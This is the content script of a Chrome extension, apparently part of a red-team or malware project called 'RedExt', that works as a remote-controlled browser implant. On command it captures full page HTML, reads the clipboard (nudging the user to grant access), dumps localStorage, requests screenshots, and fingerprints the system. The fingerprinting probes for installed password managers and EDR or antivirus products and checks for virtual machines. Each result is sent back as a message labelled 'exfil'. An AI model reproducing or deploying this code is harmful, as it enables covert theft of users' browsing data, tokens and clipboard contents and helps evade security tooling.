Darkrain2009-RedExt/ext/content_script.js

// content_script.js

console.log('[ContentScript] Injected');

// Listen for commands from background
chrome.runtime.onMessage.addListener((msg, sender, reply) => {
  console.log('[ContentScript] Received:', msg);

  if (msg.command === 'domSnapshot') {
    const snapshot = document.documentElement.outerHTML;
    chrome.runtime.sendMessage({
      type: 'exfil',
      data: {
        action: 'domSnapshot',
        snapshot,
        location: window.location.href
      }
    });
  } else if (msg.command === 'clipboardCapture') {
    console.log('[ContentScript] Attempting clipboard capture...');
    
    (async () => {
      try {
        // Check if we have clipboard permission
        const permissionStatus = await navigator.permissions.query({
          name: 'clipboard-read' 
        });
        
        if (permissionStatus.state === 'granted' || permissionStatus.state === 'prompt') {
          // Create a focused element to trigger clipboard read
          const tempInput = document.createElement('input');
          document.body.appendChild(tempInput);
          tempInput.focus();
          
          try {
            const clipText = await navigator.clipboard.readText();
            chrome.runtime.sendMessage({
              type: 'exfil',
              data: {
                action: 'CLIPBOARDCAPTURE',
                clipboardData: clipText,
                location: window.location.href
              }
            });
          } finally {
            tempInput.remove();
          }
        } else {
          throw new Error('Clipboard permission denied');
        }
      } catch (err) {
        console.error('[ContentScript] Clipboard Error:', err);
        chrome.runtime.sendMessage({
          type: 'exfil',
          data: {
            action: 'CLIPBOARDCAPTURE',
            error: 'Please allow clipboard access and try again',
            location: window.location.href
          }
        });
      }
    })();
  } else if (msg.command === 'localStorageDump') {
    const store = {};
    for (let i = 0; i < localStorage.length; i++) {
      const key = localStorage.key(i);
      store[key] = localStorage.getItem(key);
    }
    chrome.runtime.sendMessage({
      type: 'exfil',
      data: {
        action: 'localStorageData',
        storage: store,
        location: window.location.href
      }
    });
  } else if (msg.command === 'screenshot') {
    // Request the background page to capture a screenshot
    chrome.runtime.sendMessage(
      { type: 'capture_screenshot', location: window.location.href },
      function(response) {
        console.log('[ContentScript] Screenshot capture requested.');
      }
    );
  } else if (msg.command === 'enumeration') {
    performEnumeration();
  }
  reply({ status: 'received' });
  return true;
});

function getGPUInfo() {
  const canvas = document.createElement('canvas');
  const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
  
  if (!gl) {
    return {
      vendor: 'unknown',
      renderer: 'unknown',
      webglVersion: 'not supported'
    };
  }

  const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
  return {
    vendor: debugInfo ? gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL) : 'unknown',
    renderer: debugInfo ? gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL) : 'unknown',
    webglVersion: gl.getParameter(gl.VERSION),
    shadingLanguageVersion: gl.getParameter(gl.SHADING_LANGUAGE_VERSION),
    maxTextureSize: gl.getParameter(gl.MAX_TEXTURE_SIZE),
    maxViewportDims: gl.getParameter(gl.MAX_VIEWPORT_DIMS),
    maxRenderbufferSize: gl.getParameter(gl.MAX_RENDERBUFFER_SIZE)
  };
}

function getHardwareInfo() {
  return {
    deviceMemory: navigator.deviceMemory || 'unknown',
    hardwareConcurrency: navigator.hardwareConcurrency || 'unknown',
    maxTouchPoints: navigator.maxTouchPoints,
    battery: 'getBattery' in navigator,
    connection: navigator.connection ? {
      type: navigator.connection.type,
      effectiveType: navigator.connection.effectiveType,
      downlink: navigator.connection.downlink,
      rtt: navigator.connection.rtt
    } : 'unknown'
  };
}

async function getInstalledExtensions() {
  const commonExtensions = [
    // Ad Blockers
    'chrome-extension://cjpalhdlnbpafiamejdnhcphjbkeiagm/', // uBlock Origin
    'chrome-extension://gighmmpiobklfepjocnamgkkbiglidom/', // AdBlock
    'chrome-extension://bgnkhhnnamicmpeenaelnjfhikgbkllg/', // AdGuard
    
    // Security & Privacy
    'chrome-extension://gcbommkclmclpchllfjekcdonpmejbdp/', // HTTPS Everywhere
    'chrome-extension://pkehgijcmpdhfbdbbnkijodmdjhbjlgp/', // Privacy Badger
    'chrome-extension://fhnegjjodccspfhpgnkhmcgihmgfjfeg/', // Malwarebytes
    'chrome-extension://hlkenndednhfkekhgcdicdfddnkalmdm/', // Cookie Auto-Delete
    
    // Password Managers
    'chrome-extension://hdokiejnpimakedhajhdlcegeplioahd/', // LastPass
    'chrome-extension://nngceckbapebfimnlniiiahkandclblb/', // Bitwarden
    'chrome-extension://opemmfoodbadihjjhjoejhknmoopkbpi/', // 1Password
    'chrome-extension://bbcinlkgjjkejfdpemiealijmmookhip/', // Keeper
    
    // Enterprise & MDM
    'chrome-extension://hpbpdcjchkkdcgokpgkfnkchlfkdcpmc/', // Cisco Umbrella
    'chrome-extension://khgocmkkpikpnmmkgmdnfckapcdkgfaf/', // CrowdStrike
    'chrome-extension://eemlkeanncmjljgehlbplemhmdmalhdc/', // Zscaler
    'chrome-extension://kpiecbcckbofpmkkkdibbllpinceiihk/', // Microsoft Defender
    
    // Development Tools
    'chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/', // React DevTools
    'chrome-extension://nhdogjmejiglipccpnnnanhbledajbpd/', // Vue DevTools
    'chrome-extension://bfbameneiokkgbdmiekhjnmfkcnldhhm/', // Web Developer
    
    // Productivity & Enterprise
    'chrome-extension://ghbmnnjooekpmoecnnnilnnbdlolhkhi/', // Google Docs Offline
    'chrome-extension://gbkeegbaiigmenfmjfclcdgdpimamgkj/', // Office Online
    'chrome-extension://kbfnbcaeplbcioakkpcpgfkobkghlhen/', // Grammarly
    'chrome-extension://lifbcibllhkdhoafpjfnlhfpfgnpldfl/'  // Cisco Webex
  ];
  
  const detectedExtensions = [];
  
  for (const ext of commonExtensions) {
    try {
      const response = await fetch(`${ext}manifest.json`);
      if (response.ok) {
        const manifest = await response.json();
        detectedExtensions.push({
          name: manifest.name,
          version: manifest.version,
          description: manifest.description
        });
      }
    } catch (e) {
      // Extension not found or access denied
      continue;
    }
  }
  
  return detectedExtensions;
}

async function performEnumeration() {
  const enumData = {
    browser: {
      userAgent: navigator.userAgent,
      platform: navigator.platform,
      language: navigator.language,
      cookiesEnabled: navigator.cookieEnabled,
      doNotTrack: navigator.doNotTrack,
      vendor: navigator.vendor,
      hardwareConcurrency: navigator.hardwareConcurrency || 'unknown'
    },
    screen: {
      width: window.screen.width,
      height: window.screen.height,
      colorDepth: window.screen.colorDepth,
      pixelDepth: window.screen.pixelDepth,
      orientation: screen.orientation?.type || 'unknown'
    },
    hardware: getHardwareInfo(),
    gpu: getGPUInfo(),
    security: {
      virtualMachine: checkForVM(),
      antivirusHints: detectAVSoftware()
    },
    capabilities: {
      webGL: hasWebGL(),
      webRTC: hasWebRTC(),
      canvas: hasCanvas(),
      audio: hasAudioSupport()
    },
    extensions: await getInstalledExtensions(),
    timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
    timestamp: new Date().toISOString()
  };

  chrome.runtime.sendMessage({
    type: 'exfil',
    action: 'ENUMERATION',
    data: enumData
  });
}

// Helper functions
function checkForVM() {
  // Basic VM detection
  const hints = [];
  if (navigator.hardwareConcurrency <= 1) hints.push('Single CPU core');
  if (window.screen.width < 1024 || window.screen.height < 768) hints.push('Low resolution');
  return hints.length > 0;
}

function detectAVSoftware() {
  const hints = [];
  // Check for common AV software objects
  if (window.hasOwnProperty('Avast')) hints.push('Avast');
  if (window.hasOwnProperty('AVAST')) hints.push('AVAST');
  if (window.hasOwnProperty('AVG')) hints.push('AVG');
  return hints;
}

function hasWebGL() {
  const canvas = document.createElement('canvas');
  return !!canvas.getContext('webgl') || !!canvas.getContext('experimental-webgl');
}

function hasWebRTC() {
  return navigator.mediaDevices && navigator.mediaDevices.getUserMedia;
}

function hasCanvas() {
  const canvas = document.createElement('canvas');
  return !!(canvas.getContext && canvas.getContext('2d'));
}

function hasAudioSupport() {
  return !!(window.AudioContext || window.webkitAudioContext);
}